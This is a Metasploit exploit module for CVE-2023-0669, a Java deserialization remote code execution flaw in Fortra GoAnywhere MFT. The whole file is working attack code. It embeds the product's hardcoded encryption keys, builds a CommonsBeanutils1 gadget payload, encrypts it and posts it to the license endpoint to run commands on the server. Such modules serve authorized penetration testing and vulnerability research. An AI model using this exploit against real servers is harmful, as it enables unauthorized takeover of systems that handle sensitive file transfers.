##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::JavaDeserialization

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortra GoAnywhere MFT Unsafe Deserialization RCE',
        'Description' => %q{
          This module exploits CVE-2023-0669, which is an object deserialization
          vulnerability in Fortra GoAnywhere MFT.
        },
        'Author' => [
          'Ron Bowes', # Analysis and module
        ],
        'References' => [
          ['CVE', '2023-0669'],
          ['URL', 'https://attackerkb.com/topics/mg883Nbeva/cve-2023-0669/rapid7-analysis'],
        ],
        'DisclosureDate' => '2023-02-01',
        'License' => MSF_LICENSE,
        'Platform' => ['unix', 'win'],
        'Arch' => [ARCH_CMD],
        'Privileged' => false,
        'Targets' => [
          [
            'Version 2 Encryption',
            {
              'DefaultOptions' => {
                'Version' => '$2',
                'EncryptionKey' => '0e69a3839b6ecf45649b861f4a27171b66870c9567a4144ebaf3d52fdc4064ca',
                'EncryptionIv' => '4145532f4342432f504b435335506164'
              }
            },
          ],
          [
            'Version 1 Encryption',
            {
              'DefaultOptions' => {
                'Version' => '',
                'EncryptionKey' => '678b5830bf8b8a2e0474b97d6cd18e845fbc4b11fca0d6af2db1eb114c29fc4b',
                'EncryptionIv' => '4145532f4342432f504b435335506164'
              }
            }
          ],
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 8001,
          'SSL' => true
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS]
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Unsafe deserialization endpoint', '/goanywhere/lic/accept']),
    ])

    register_advanced_options([
      OptString.new('Version', [false, 'A version value to append to the encrypted data']),
      OptString.new('EncryptionKey', [true, 'The encryption key to use (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
      OptString.new('EncryptionIv', [true, 'The initialization vector (hex-encoded)'], regex: /^([a-fA-F0-9]{2})+$/),
      OptString.new('EncryptionAlgorithm', [true, 'The encryption algorithm', 'AES-256-CBC'])
    ])
  end

  def build_cipher
    unless OpenSSL::Cipher.ciphers.any? { |cipher_name| cipher_name.casecmp?(datastore['EncryptionAlgorithm']) }
      raise Msf::OptionValidateError.new({ 'EncryptionAlgorithm' => 'The selected encryption algorithm is not supported by OpenSSL.' })
    end

    cipher = OpenSSL::Cipher.new(datastore['EncryptionAlgorithm'])
    cipher.encrypt

    option_errors = {}
    iv = datastore['EncryptionIv'].scan(/../).map { |x| x.hex.chr }.join
    unless cipher.iv_len == iv.length
      option_errors['EncryptionIv'] = "The encryption IV is not the correct length (is: #{iv.length}, should be: #{cipher.iv_len})."
    end

    key = datastore['EncryptionKey'].scan(/../).map { |x| x.hex.chr }.join
    unless cipher.key_len == key.length
      option_errors['EncryptionKey'] = "The encryption key is not the correct length (is: #{key.length}, should be: #{cipher.key_len})."
    end
    raise Msf::OptionValidateError, option_errors unless option_errors.empty?

    cipher.iv = iv
    cipher.key = key
    cipher
  end

  def exploit
    vprint_status('Generating a serialized Java object with the payload')
    obj = generate_java_deserialization_for_payload('CommonsBeanutils1', payload)

    vprint_status('Encrypting the payload')
    cipher = build_cipher
    obj = cipher.update(obj) + cipher.final

    vprint_status('Sending request to the server')
    res = send_request_cgi(
      'method' => 'POST',
      'uri' => datastore['TARGETURI'],
      'vars_post' => {
        'bundle' => "#{Base64.urlsafe_encode64(obj)}#{datastore['Version'] || ''}"
      }
    )

    fail_with(Failure::Unreachable, 'No response received from the target.') unless res
    if res.code != 500
      fail_with(Failure::UnexpectedReply, "Expected the server to return HTTP/500, instead received HTTP/#{res.code}")
    end
  end
end